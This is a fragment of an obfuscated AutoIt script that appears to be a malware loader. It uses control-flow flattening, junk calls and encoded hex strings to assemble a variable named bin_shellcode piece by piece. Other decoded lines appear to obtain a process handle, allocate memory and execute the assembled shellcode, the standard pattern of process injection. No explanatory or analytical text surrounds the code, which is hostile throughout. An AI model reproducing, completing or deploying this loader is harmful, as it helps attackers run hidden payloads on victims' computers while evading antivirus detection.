- IsBinary(tznhxlbucosri("Ja8gBa17CSW4mxboWN0qAW2t1GAOKBcfNwNNTH"))
- Int(1049573)
- EndIf
- If 140 = 140 AND 122 = 122 AND 231 >= 202 AND 152 <= 206 AND $2102046848 = 960210641 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x083247363138383937353248383937344348363438324335333"), "0x")
- IsFloat(tznhxlbucosri("XcdkxTHqpIBnWjzGxhz2IUDKd5HvWFlWqCNMGrNwgfxfrtiI0VjHOYD0RmOiScWbbD383j"))
- $2102046848 = 2141934138
- EndIf
- If 289 = 289 AND 273 <> 118 AND 222 >= 152 AND 260 < 265 AND 199 <> 219 AND $2102046848 = 960345959 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x083447364646464646483243483835334937343230303642454"), "0x")
- $2102046848 = 1681609778
- EndIf
- If 224 > 182 AND 190 = 190 AND 237 = 237 AND $2102046848 = 963435038 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093435424744474747474431343334333730413534333433343"), tznhxlbucosri("x047A735"))
- $2102046848 = 192622806
- Mod(2456918, 1507072)
- Dim $kxrlxes4rsq91r7ijvma = 7455 - 2062142 + 3307677 * 1428431 - 3485437
- EndIf
- If 181 >= 154 AND 116 < 266 AND 141 = 141 AND $2102046848 = 974397906 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0434343C304C313534324742424242413432424131314C3C364"), tznhxlbucosri("x0C6853676"))
- Chr(72080)
- $2102046848 = 1761794683
- EndIf
- If 253 > 113 AND 155 <= 156 AND 267 > 206 AND $2102046848 = 1008938193 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074834324135313935453548324430343137474636344539334"), tznhxlbucosri("x05674D6"))
- IsBool(tznhxlbucosri("t2nY85CqCXindAF1BWUSMcniz7Vj8ZMzSZ"))
- $2102046848 = 1800994994
- String(42284 + 1607045 * 2858968)
- EndIf
- If 131 <> 241 AND 118 > 106 AND 272 <> 244 AND 264 = 264 AND 298 > 176 AND $2102046848 = 1022397440 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074434334539334535474139354637433931374346353731373"), tznhxlbucosri("x0F6A667"))
- $2102046848 = 548714918
- Ptr(tznhxlbucosri("lopJYENFcYsKyTiQAlDtVM8zyezOib"))
- EndIf
- If 220 > 119 AND 146 >= 120 AND 232 <= 250 AND 135 >= 133 AND $2102046848 = 1025992990 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053430413938393435313747474747474935453438313938393"), tznhxlbucosri("x0348415"))
- String(tznhxlbucosri("XaEuVIcVNOrJOfNOGcL6VCkLjgLfhQ4Z8qvO60TUS2uUgEVJEv"))
- $2102046848 = 84602552
- Chr(3359875)
- Dim $xzoiwhzobh9txgwnuuaq = 2693847 + 2302618 + 1050886
- EndIf
- If 213 >= 175 AND 209 <= 292 AND 114 = 114 AND 177 >= 130 AND $2102046848 = 1028023753 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x024731333340333641303642473436313438393734464838393"), "0x")
- $2102046848 = 486612862
- Chr(78271)
- EndIf
- If 271 > 178 AND 123 >= 111 AND 295 <> 207 AND 191 <> 146 AND 243 <> 101 AND $2102046848 = 1044747412 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064646464646493332414934303333473835373836464646464"), tznhxlbucosri("x075"))
- Int(245898)
- $2102046848 = 1527329642
- Mod(2055448, 3364517)
- EndIf
- If 117 > 100 AND 158 <> 177 AND 179 <> 258 AND $2102046848 = 1057862206 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x063435493747443430493932374341343137493736363742474"), tznhxlbucosri("x0E66784"))
- IsFloat(1851681 + 820465)
- $2102046848 = 1295395021
- EndIf
- If 153 <> 129 AND 180 > 144 AND 273 <> 219 AND 207 > 129 AND $2102046848 = 1079761819 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x033233483247344440383333473233403336454646473736434"), tznhxlbucosri("x095"))
- WinExists(tznhxlbucosri("osKlIfhjBIakXyZVh5oICDph"))
- $2102046848 = 2086657544
- EndIf
- If 278 <= 299 AND 111 >= 100 AND 231 > 109 AND 137 <> 139 AND 111 < 124 AND $2102046848 = 1087129617 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x03323337323A3B31473745433B314731333737323B30364B333"), tznhxlbucosri("x057A4"))
- $2102046848 = 1585046344
- WinExists(tznhxlbucosri("DNmvI2amfdzYOiTCNW0T6hrp2wy6A7pj3"))
- EndIf
- If 237 < 250 AND 189 < 208 AND 258 > 190 AND 116 <> 156 AND $2102046848 = 1114015006 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074744343345323232413938363547413737323345373137363"), tznhxlbucosri("x07584A7"))
- $2102046848 = 1079761819
- EndIf
- If 180 <> 292 AND 236 <= 263 AND 208 > 142 AND $2102046848 = 1115248989 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053C343737424C3D313132474C3D3030424C3C3D3031343C3C3"), tznhxlbucosri("x0D4D675A5"))
- Dim $lpawifru7mzejrnez9my = 194192
- $2102046848 = 1424029346
- IsBool(2578418 + 3881500 - 1181043)
- Dim $vaqkuzsmc7zzudmqfvqb = tznhxlbucosri("tJoBdDO")
- EndIf
- If 213 > 109 AND 261 <> 243 AND 210 = 210 AND $2102046848 = 1121997128 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053448343335303839353446434646453535483631443438344"), "0x")
- WinExists(tznhxlbucosri("iDm6oYmp0g8iRT8srZ63iGl7YRpvcw5Ancmu9Hr2egnvvAHTelEZ8NveVk9F93d0nyE5gv0Az"))
- $2102046848 = 940272054
- IsString(2982286 - 330255 * 277525 + 831397)
- Dim $j9cxc3yhorymznlfn9fc = 580493
- EndIf
- If 224 <= 236 AND 187 >= 174 AND 141 = 141 AND $2102046848 = 1138618150 Then
- Local $handlefrompid = $e($b(wmhsrosshiij(tznhxlbucosri("x033B7737353045304730353235304530413B31313531453634313536453635304030303131364537353045304131313041333131353B3532353645373530453631313130413331313735443335363536463334313535453035363430343031313130413331313537343435354431353731313130413331313033343B303330333032373530333735373537353131313041333131353135354535453041313130413331313033313131304133313135373434353544313537313131304133313736313536343736314131303331313637413A363141313033313136374"), tznhxlbucosri("x066C6"))))
- Chr(28664)
- $2102046848 = 819068712
- EndIf
- If 295 < 299 AND 131 = 131 AND 263 = 263 AND $2102046848 = 1141152127 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x034839383535303646464646464834443533434347383536303"), tznhxlbucosri("x064"))
- IsString(3432546 - 250249 - 1455544)
- $2102046848 = 834897274
- IsFloat(tznhxlbucosri("H6159LmOo0H5LzsWt8RluBIqY1abIMAZfwCDco6CM2SLY5B7d13HGFKcwq"))
- Random(2611743)
- EndIf
- If 156 > 154 AND 153 >= 110 AND 105 > 103 AND 213 < 282 AND 154 <= 217 AND $2102046848 = 1196477466 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x02303A314642473333333333333437333A35453735323533323"), tznhxlbucosri("x01756"))
- Chr(1967561)
- $2102046848 = 588931838
- EndIf
- If 286 > 144 AND 112 <> 292 AND 266 <> 223 AND $2102046848 = 1220020015 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013731323133373732424C3D3330464C32303C3647313734343"), tznhxlbucosri("x01775E486"))
- $2102046848 = 232684580
- Ptr(2858800 - 230488 * 2299691)
- EndIf
- If 289 <> 262 AND 147 = 147 AND 128 > 106 AND 287 >= 248 AND 204 >= 120 AND $2102046848 = 1267601999 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x083938353334364646464646483444353444383938353338364"), tznhxlbucosri("x075"))
- $2102046848 = 2094513307
- Dim $3l2do8ndusammtgaldqs = tznhxlbucosri("S26Ux6aECruJorlhl2JqxUlpnALpI")
- EndIf
- If 106 >= 103 AND 254 < 273 AND 134 <= 204 AND 178 >= 172 AND $2102046848 = 1273168829 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064247343344314038383135413646403640303030303330314"), "0x")
- Ptr(tznhxlbucosri("hiKSdTZdr1fvYz1Uh9EEHBTE3i2A5KDnNnVdQCQ1zuitk1UmaO9OFsJbL"))
- $2102046848 = 1087129617
- Ptr(687537 * 270823)
- IsPtr(3930127 + 1072661 * 657810)
- EndIf
- If 141 >= 110 AND 220 <= 245 AND 137 <= 224 AND $2102046848 = 1276279416 Then
- Local $ret = $e($b(wmhsrosshiij(tznhxlbucosri("x003874343633463344333631363346334431363436343732363537333733323832323634373736364732363432323233423032343633473035333638363536334633463336364634363532303232423032323330373834323435323232334230323237373733373437323232323342303234373735303631373436383233423032323737373337343732323232334230323232323233423032323730373437323232323342303434363346334533373437323735363337343437363537343530373437323238323434363639363346353536453337343732373536333734323932393"), tznhxlbucosri("x076"))))
- $2102046848 = 1138618150
- IsFloat(tznhxlbucosri("nqSkCLDibnjcxk9eAsQ9uLDT8vpvEi7iO70OiRrj50ofaW011rpOGR57QEMw3hTvf2EmS"))
- EndIf
- If 129 >= 114 AND 119 <> 204 AND 156 < 291 AND 180 <> 213 AND 232 < 285 AND $2102046848 = 1293364258 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003036314030363140343834443532434530383248353244364"), tznhxlbucosri("x094"))
- $2102046848 = 113573692
- IsFloat(tznhxlbucosri("uSEhq730zpUSauFV6kwJQwvXdhDI98qRbQb7LFe693XZ8Xr3Vy3G2hchH"))
- EndIf
- If 202 = 202 AND 275 > 202 AND 138 > 104 AND 142 <> 220 AND $2102046848 = 1295395021 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064646433333403536453545324832454535344342303340303"), tznhxlbucosri("x0E6"))
- WinExists(tznhxlbucosri("4vSqdAcsaTaHDE0wIajjfqBnjY4YD5oVvceGeI4woJVO39xLlUmHTnpAYRr4ypphsoi7s75rplcICz4CAHTk6"))
- $2102046848 = 515584002
- Int(3678968)
- EndIf
- If 251 >= 111 AND 194 = 194 AND 100 < 301 AND $2102046848 = 1307843693 Then
- Local $bin_shellcode = wmhsrosshiij(tznhxlbucosri("x033B76363B3146404B314737433B3B3140423B33303A3333343"), tznhxlbucosri("x01627"))
- Dim $olhzfq6cab4la8jy0nva = 2957174
- $2102046848 = 304222797
- String(tznhxlbucosri("MrQnG4gVxJ94W6e7S9tZdIFjjAjyZuT60gsyVowG31Wx0EIrOcFZ9IohSDUoKiVVkAg3OwoZBlOCwOJb2"))
- IsFloat(tznhxlbucosri("hkkTGYXFpoMhtuk7wmJZguBFgIORs1fDaUValxs0yTnncHRcSMM"))
- EndIf
- If 171 >= 127 AND 132 < 195 AND 112 <= 122 AND $2102046848 = 1312944448 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003734303243413548313833333640383135463646464646464"), "0x")
- Chr(379658)
- $2102046848 = 1337610490
- EndIf
- If 283 <= 299 AND 269 <= 284 AND 139 = 139 AND 296 = 296 AND 290 <= 293 AND $2102046848 = 1317804907 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013435343434343737324242424332313032424331353431373"), tznhxlbucosri("x086169535"))
- Ptr(3702871 + 3518540 + 1253073 + 3153696)
- $2102046848 = 1114015006
- Random(3545599)
- EndIf
- If 264 <> 189 AND 265 <= 294 AND 234 > 155 AND 143 <> 247 AND 148 >= 107 AND $2102046848 = 1329218685 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0136403247424242424C373744343C313432424331304C32424"), tznhxlbucosri("x03625A6A5"))
- $2102046848 = 503206081
- Random(137117)
- EndIf
- If 244 < 278 AND 204 > 184 AND 245 = 245 AND 195 <= 262 AND $2102046848 = 1337610490 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x03354734373A3436364336354B3140453636463740413337333"), tznhxlbucosri("x0C4A5"))
- Int(3674689)
- $2102046848 = 171873601
- Dim $jic2craejsxa5mnuijlr = 1433574
- EndIf
- If 181 < 207 AND 181 <= 298 AND 171 = 171 AND 158 > 122 AND 265 >= 100 AND $2102046848 = 1374512406 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093835343749393432413634323349343747413749353332313"), tznhxlbucosri("x0A5A734"))
- IsPtr(tznhxlbucosri("HXxyb"))
- $2102046848 = 1840174020
- String(tznhxlbucosri("KCy2vwKKdo4EVV2UEVMERdxcKSatpz0mKqKQ7zrRnomH3HNXiM44A2W4DHWRKc8kO0kMjeXCnX0x0iZ0QYrwru074Q6c5qNpIc2vLpDIgQNhddRM2Mv7"))
- EndIf
- If 148 = 148 AND 182 < 236 AND 283 < 288 AND 249 <> 197 AND 232 = 232 AND $2102046848 = 1390580830 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064735344346464535314038353340303648343938303230303"), tznhxlbucosri("x056"))
- IsFloat(1926613 + 2091025)
- $2102046848 = 1293364258
- Random(2945571)
- IsString(2271443 + 3556879)
- EndIf
- If 163 > 116 AND 103 <= 173 AND 178 <> 266 AND 235 <> 199 AND 256 <> 174 AND $2102046848 = 1424029346 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053340373431393832403432423033334735303548383236464"), "0x")
- Dim $xmqusy83zi5xkbiywjjp = 2698920 + 1020135 + 835350 * 1208993
- $2102046848 = 89876260
- String(tznhxlbucosri("xx1aV3inf2OtROgWRdBF4NDMnwMinffME1XzrBKFA6JwK9Fyl2"))
- Ptr(3106248 * 2100040 - 2661738)
- EndIf
- If 146 <= 295 AND 200 = 200 AND 130 = 130 AND 152 < 240 AND 229 < 252 AND $2102046848 = 1426700078 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0B3333333333363436303545463630473B3146374540464A354"), tznhxlbucosri("x03654"))
- Dim $oboxjq9nwl5fmhcdwzlv = tznhxlbucosri("fGbq6T5b1Xv7SxVioX2o5G3wIsS5Scb0jZwiV7uAT8u8k7ZZS4J82wKvwSjTtbf36aoGVJbY4YY4c6i6fUuXpT6NGXKNqcNs30atKMip64CW")
- $2102046848 = 1317804907
- IsBinary(1708455 - 3704501 - 2221874)
- EndIf
- If 214 <> 156 AND 226 <> 223 AND 223 = 223 AND $2102046848 = 1472136877 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x054645464646464834443539334530363140323646473635343"), tznhxlbucosri("x0A4"))
- $2102046848 = 473753307
- EndIf
- If 206 = 206 AND 114 >= 103 AND 204 = 204 AND $2102046848 = 1488986972 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x024C30403137443C3D3C3137343242424242424C3040313D3C3"), tznhxlbucosri("x057441716"))
- IsBinary(tznhxlbucosri("SdF50izNDW9l2pk81BhxGrSIjcbn7R1pIQ7KeEfqi2qJKgkmcjOGjnGRnj9CLLZTunQsaqwOrJjor6BKd7N2JzGMe1qYqLqCVyWdFri3jx5eH51JaLIcT"))
- $2102046848 = 1267601999
- IsPtr(813805 - 3039124)
- EndIf
- If 135 >= 129 AND 136 > 105 AND 245 < 251 AND 153 < 295 AND $2102046848 = 1514877158 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0C3640323730363D3430353D3C36403042443C3640333730343"), tznhxlbucosri("x087865707"))
- $2102046848 = 1273168829
- Dim $zjajuqpfrlte6okn3gtv = 1700331 + 2090915 * 2743824
- Chr(3073471)
- EndIf
- If 252 <= 278 AND 101 > 99 AND 200 < 245 AND $2102046848 = 1527329642 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064544334732493034334738353733464646464646454438373"), tznhxlbucosri("x0B4"))
- $2102046848 = 1790828265
- IsBinary(3424734 - 3975628 * 543343)
- EndIf
- If 136 <= 235 AND 107 <> 252 AND 281 >= 213 AND 210 >= 181 AND $2102046848 = 1554786304 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x03354B37373633313333333335324733353B333330333333333"), tznhxlbucosri("x01516"))
- $2102046848 = 752856490
- IsFloat(tznhxlbucosri("A5ZzUYUMYD"))
- EndIf
- If 144 <= 251 AND 286 >= 177 AND 298 <= 301 AND 299 <= 301 AND $2102046848 = 1566067065 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x05443B374736364B30443B363630454545454545443A37324B3"), tznhxlbucosri("x07634"))
- IsBinary(436650 * 2977471)
- $2102046848 = 2132281550
- IsBool(893963 + 1459668)
- EndIf
- If 106 <> 295 AND 244 = 244 AND 283 > 146 AND $2102046848 = 1567095249 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013534393443413240483131313131313531373041313439313"), tznhxlbucosri("x086F494"))
- Mod(2738098, 720065)
- $2102046848 = 1008938193
- IsBool(163930 * 3734125)
- EndIf
- If 203 <= 280 AND 132 < 196 AND 172 = 172 AND 293 <= 299 AND $2102046848 = 1569360220 Then
- Local $binl = $e($b(wmhsrosshiij(tznhxlbucosri("x003874323639363546313732373934334635363542383234343236393635453645333638363536334633463336364634363532393"), tznhxlbucosri("x067"))))
- $2102046848 = 1867973329
- Random(3446157)
- EndIf
- If 102 <> 195 AND 145 <= 233 AND 295 <= 300 AND 131 <> 270 AND $2102046848 = 1585046344 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0C3C3D303042443045314C3736474C333636464C36403042403"), tznhxlbucosri("x094574617"))
- $2102046848 = 563894604
- IsString(1081340 - 584896 + 2469337)
- EndIf
- If 190 = 190 AND 173 > 146 AND 198 = 198 AND $2102046848 = 1591982618 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x033336363B314640463536343B314437433B303035453634364"), tznhxlbucosri("x0A414"))
- $2102046848 = 960345959
- Ptr(3012427 - 3907133 * 3696036)
- EndIf
- If 167 <= 178 AND 161 <> 233 AND 170 <= 235 AND 117 < 264 AND $2102046848 = 1598205459 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003030303037323935333336464537364647363530353336464"), tznhxlbucosri("x016"))
- Dim $rxznumd6uv6taceotax2 = 168596 - 127804 * 2849313 * 2158681
- $2102046848 = 47899740
- IsBool(tznhxlbucosri("hvMB0XDOLMCiAIthrCNKtDlu6v1EHfUqGut72JD23uzpIwqtV"))
- EndIf
- If 132 < 233 AND 176 > 146 AND 185 < 204 AND 269 >= 137 AND 149 <= 259 AND $2102046848 = 1607184715 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x04343434324C30314C3436343434343C304031304C31343C304"), tznhxlbucosri("x036259515"))
- $2102046848 = 963435038
- EndIf
- If 191 <= 246 AND 211 > 197 AND 238 > 146 AND $2102046848 = 1617221087 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0730433037463337363333333333354B3735404331333333333"), tznhxlbucosri("x08557"))
- $2102046848 = 885639379
- Ptr(tznhxlbucosri("xuciYDKTz"))
- EndIf
- If 287 > 249 AND 300 <= 301 AND 278 <= 289 AND $2102046848 = 1668010818 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074247474747443137474634354247474434383139343241313"), tznhxlbucosri("x0A434F6"))
- WinExists(tznhxlbucosri("LXfof2W4K6F4KtjaEGfkz9WrE771e18vB2oDSf8FLAAlrJ9z7yeWZ3w0Buxi7o146p2NWhYdl8wN1nQm1e3HqsdfgLN4iJDUuR"))
- $2102046848 = 2088521245
- WinExists(tznhxlbucosri("84RfCkDiCowsby8IK0bqz20nkB3QIOHc59u9xkj2z7hyx0OemWcX0qEUpUappWOYVADwnbCXgSe"))
- EndIf
- If 161 <> 135 AND 220 <> 154 AND 298 <> 277 AND $2102046848 = 1681609778 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003733413546303430333640383243463235303030303030364"), "0x")
- $2102046848 = 1312944448
- EndIf
- If 290 < 298 AND 158 >= 125 AND 121 < 144 AND $2102046848 = 1711264047 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003832453831334033344738324438323430333446483244303"), "0x")
- $2102046848 = 1115248989
- Dim $ej4h2wslurfaknhztujw = 1162421 - 2580454 + 801588
- EndIf
- If 280 > 153 AND 181 <> 172 AND 190 <> 198 AND 153 < 242 AND 126 < 129 AND $2102046848 = 1724676842 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0C31374434324C30333C3436343434343C36403136474736403"), tznhxlbucosri("x0146515A7"))
- Dim $v2adnsgm2vzuv0py3cdw = 2306442
- $2102046848 = 2121580509
- String(4020 - 3688060 * 2453608 - 1069095)
- EndIf
- If 121 < 230 AND 254 <= 299 AND 124 = 124 AND $2102046848 = 1745473337 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x07403B30314542473333333333333333343535314B314731333"), tznhxlbucosri("x076A5"))
- IsBinary(1221872 * 2167661)
- $2102046848 = 937593386
- Chr(1691251)
- EndIf
- If 261 < 296 AND 258 > 176 AND 160 <= 266 AND 190 >= 107 AND $2102046848 = 1761794683 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0030453437433C31353432474242424244333434343534343C3"), tznhxlbucosri("x0F6869697"))
- $2102046848 = 1028023753
- EndIf
- If 236 <> 292 AND 184 <= 233 AND 190 >= 152 AND $2102046848 = 1767117565 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x01374C3C3732414436324246403641313C32424242424244324"), tznhxlbucosri("x066741636"))
- $2102046848 = 724091247
- WinExists(tznhxlbucosri("RGzoh1IWjyprqkEOiE6QVAqSGVcnA7nC34nIHssN2NfZ3fhp2"))
- IsBinary(3713253 * 3941942 * 2631740 + 3609627)
- EndIf
- If 297 <> 129 AND 137 >= 134 AND 120 <= 137 AND $2102046848 = 1790828265 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x024830343347343538303149323444473031334734353834303"), tznhxlbucosri("x0A5"))
- Random(2756298)
- $2102046848 = 93242189
- EndIf
- If 252 <= 259 AND 117 >= 113 AND 288 <> 278 AND 101 <= 274 AND $2102046848 = 1791391535 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x004333354B3733374546454545454B3147363643364142374B3"), tznhxlbucosri("x01665"))
- $2102046848 = 1899622003
- String(tznhxlbucosri("L52lfrjjYF9GY5vot35y2qby8HBA8LtkzNwZWWYcBI3BvH2v0mjdw9drjnstSOHGmMv"))
- WinExists(tznhxlbucosri("qgvJAYDFLloH4WtahqiVBLiU41p3au40qu37byMDQSRhCgMV3LyeTmN6BG3DpGljNVE4"))
- EndIf
- If 104 = 104 AND 139 >= 132 AND 136 > 126 AND 277 <> 237 AND $2102046848 = 1800994994 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043735483033343536483530364647353448364645353343483"), tznhxlbucosri("x036"))
- WinExists(tznhxlbucosri("iM6ActxcqjANB5KRtt7vJGBg6GC5pH"))
- $2102046848 = 793922489
- Random(3339027)
- Int(51559)
- EndIf
- If 243 <= 274 AND 265 <= 275 AND 225 <> 104 AND $2102046848 = 1813210520 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x003874343633463345333734373237353633373435333635373434343631373436313238323435333638363536334633463336364634363535364533373437323735363337343233423032323733363836353633463346333636463436353232323342303234343236393635453645333638363536334633463336364634363532393"), "0x")))
- $2102046848 = 1936949709
- IsBinary(1068225 * 1251627)
- EndIf
- If 216 >= 150 AND 244 >= 233 AND 125 <> 271 AND 232 < 266 AND 127 > 117 AND $2102046848 = 1838106253 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064646473933314333403738393835323036464646464648324"), tznhxlbucosri("x017"))
- $2102046848 = 1566067065
- IsFloat(tznhxlbucosri("y9x"))
- EndIf
- If 175 < 239 AND 123 <= 294 AND 284 = 284 AND 270 = 270 AND 109 > 106 AND $2102046848 = 1840174020 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x023030303036314430363830303330303030303646473635303"), tznhxlbucosri("x067"))
- IsBool(tznhxlbucosri("QftM9sH1ZA00QYGKeoSchacSKsx5p0Q1pAMk9sN2z4nqilSKcEYKBGB"))
- $2102046848 = 589339962
- IsBool(tznhxlbucosri("CdlRj8Iy8EonylKXD1k0naX2cO9inXSNk8AJeSbobTGnvZiM0NEg0U0Q4K6GzarVFtbqvYW3Yo9Av9s8az7u"))
- EndIf
- If 108 <> 169 AND 239 = 239 AND 186 < 203 AND 263 = 263 AND $2102046848 = 1867973329 Then
- Local $lpshellcode = $e($b(wmhsrosshiij(tznhxlbucosri("x0139753537324732453237303732473243393333373347343633373447343732423232333333333243313333363136353633333333324331333334373738363336353634373037324530373247324737473233333332433133333735363637374633373533333332433133333231333333324331333337353636373746333735333333324331333537333738373445324332433133333735363637374633373533333332433133333231363932323231323132313333333243313333373536363737463337353333333243313333323136393235323133333338343343333231333334354"), tznhxlbucosri("x0762566"))))
- IsString(3396588 - 1200923 + 1236102 + 3766126)
- $2102046848 = 855549293
- EndIf
- If 142 = 142 AND 199 = 199 AND 270 <> 127 AND $2102046848 = 1869447033 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013931313131313436343237474434324539343241313749353"), tznhxlbucosri("x0E424A7"))
- $2102046848 = 687038453
- Mod(3753520, 1630682)
- Mod(3722851, 919707)
- EndIf
- If 215 > 189 AND 203 >= 161 AND 188 <> 103 AND $2102046848 = 1899622003 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0146374540403035454B303437474B333334373334363435454"), tznhxlbucosri("x05474"))
- Dim $ykjiigeffn6xitdhomyr = 162739
- $2102046848 = 1057862206
- IsFloat(3559412 * 1292190 * 65239)
- EndIf
- If 222 <= 289 AND 285 > 167 AND 184 >= 111 AND 252 < 265 AND 257 = 257 AND $2102046848 = 1936949709 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374137333033363331323733303137323133303030323533303235363C36303032323D323742313132413733303336333132373330363746343636323743343232323D323742313636363746343630323743343032323D32374231363D3"), tznhxlbucosri("x095862646"))))
- $2102046848 = 1276279416
- IsPtr(316958 * 3439140)
- EndIf
- If 171 < 283 AND 287 >= 274 AND 121 > 113 AND 243 < 294 AND 165 = 165 AND $2102046848 = 1953361207 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093132353437493938393432413742474747474935493430313"), tznhxlbucosri("x0E646E4"))
- $2102046848 = 1668010818
- Dim $pbsscywohztl4n4kw4rr = 253245
- IsFloat(tznhxlbucosri("Ri2LZBEfsLSdNlZyGlcvM3ilwwFQud"))
- EndIf
- If 160 <= 217 AND 209 > 148 AND 223 = 223 AND $2102046848 = 1972768996 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x073835373036464646464649393240343830363347383537343"), tznhxlbucosri("x095"))
- Ptr(2654484 - 2715836 * 3624667 + 1641239)
- $2102046848 = 1044747412
- Dim $esm2ottxzweedfeijaqg = 234837
- Random(2863284)
- EndIf
- If 259 <= 260 AND 172 < 291 AND 273 >= 107 AND $2102046848 = 2014417103 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074436373534403130324639343739374747474747403934453"), tznhxlbucosri("x0C6F487"))
- $2102046848 = 742906269
- Random(1901700)
- EndIf
- If 274 < 281 AND 273 >= 260 AND 262 <= 288 AND 147 <> 241 AND 231 = 231 AND $2102046848 = 2086657544 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093341363132353430313431393345363749313232423431374"), tznhxlbucosri("x0C6D4F6"))
- $2102046848 = 1022397440
- IsBinary(2379990 - 1673606)
- EndIf
- If 287 > 130 AND 103 > 99 AND 160 <> 236 AND 248 > 184 AND $2102046848 = 2088521245 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064834313246454646464646464735344346464535314348353"), "0x")
- $2102046848 = 1791391535
- Random(1339945)
- EndIf
- If 150 < 234 AND 127 < 208 AND 168 >= 107 AND $2102046848 = 2094513307 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x02424242424C304031354C3C3D3C3137374242424242424C304"), tznhxlbucosri("x026952766"))
- $2102046848 = 1025992990
- Dim $nj6c3d3cnzg6mqebb8zg = tznhxlbucosri("OuAQE")
- EndIf
- If 190 <> 143 AND 296 >= 224 AND 189 = 189 AND 239 <> 117 AND $2102046848 = 2113738531 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093535354346363339313130364934334033344434453140303"), tznhxlbucosri("x025"))
- Random(383681)
- $2102046848 = 499539945
- EndIf
- If 103 < 194 AND 116 > 99 AND 296 >= 231 AND 167 > 145 AND $2102046848 = 2121580509 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x02373033313432413432424331304C3242413136443C3137443"), tznhxlbucosri("x034853735"))
- $2102046848 = 589132072
- IsString(1144585 * 1922505 - 2270254 - 2611473)
- IsPtr(tznhxlbucosri("aME2cqXxFwehCSt1WLBFoiyvalk17cvuHaV0xD4y3ik4yZf6uDZ72oxRDOpsnkyUVlkdgMnZLxpsktWIWeRREaihB09fje5TEid9"))
- EndIf
- If 204 >= 179 AND 200 >= 163 AND 284 <> 287 AND $2102046848 = 2132281550 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0243314B3A3B3631373545454545454B37473631433B3A3B363"), tznhxlbucosri("x02444"))
- $2102046848 = 2144394568
- Chr(2503029)
- EndIf
- If 255 <= 271 AND 101 <> 167 AND 168 <> 210 AND $2102046848 = 2134070852 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074749354534324539383934353247474747474749354534304"), tznhxlbucosri("x096A654"))
- Dim $d4glygdyqn5tlbzin2xg = 3279010
- $2102046848 = 1141152127
- EndIf
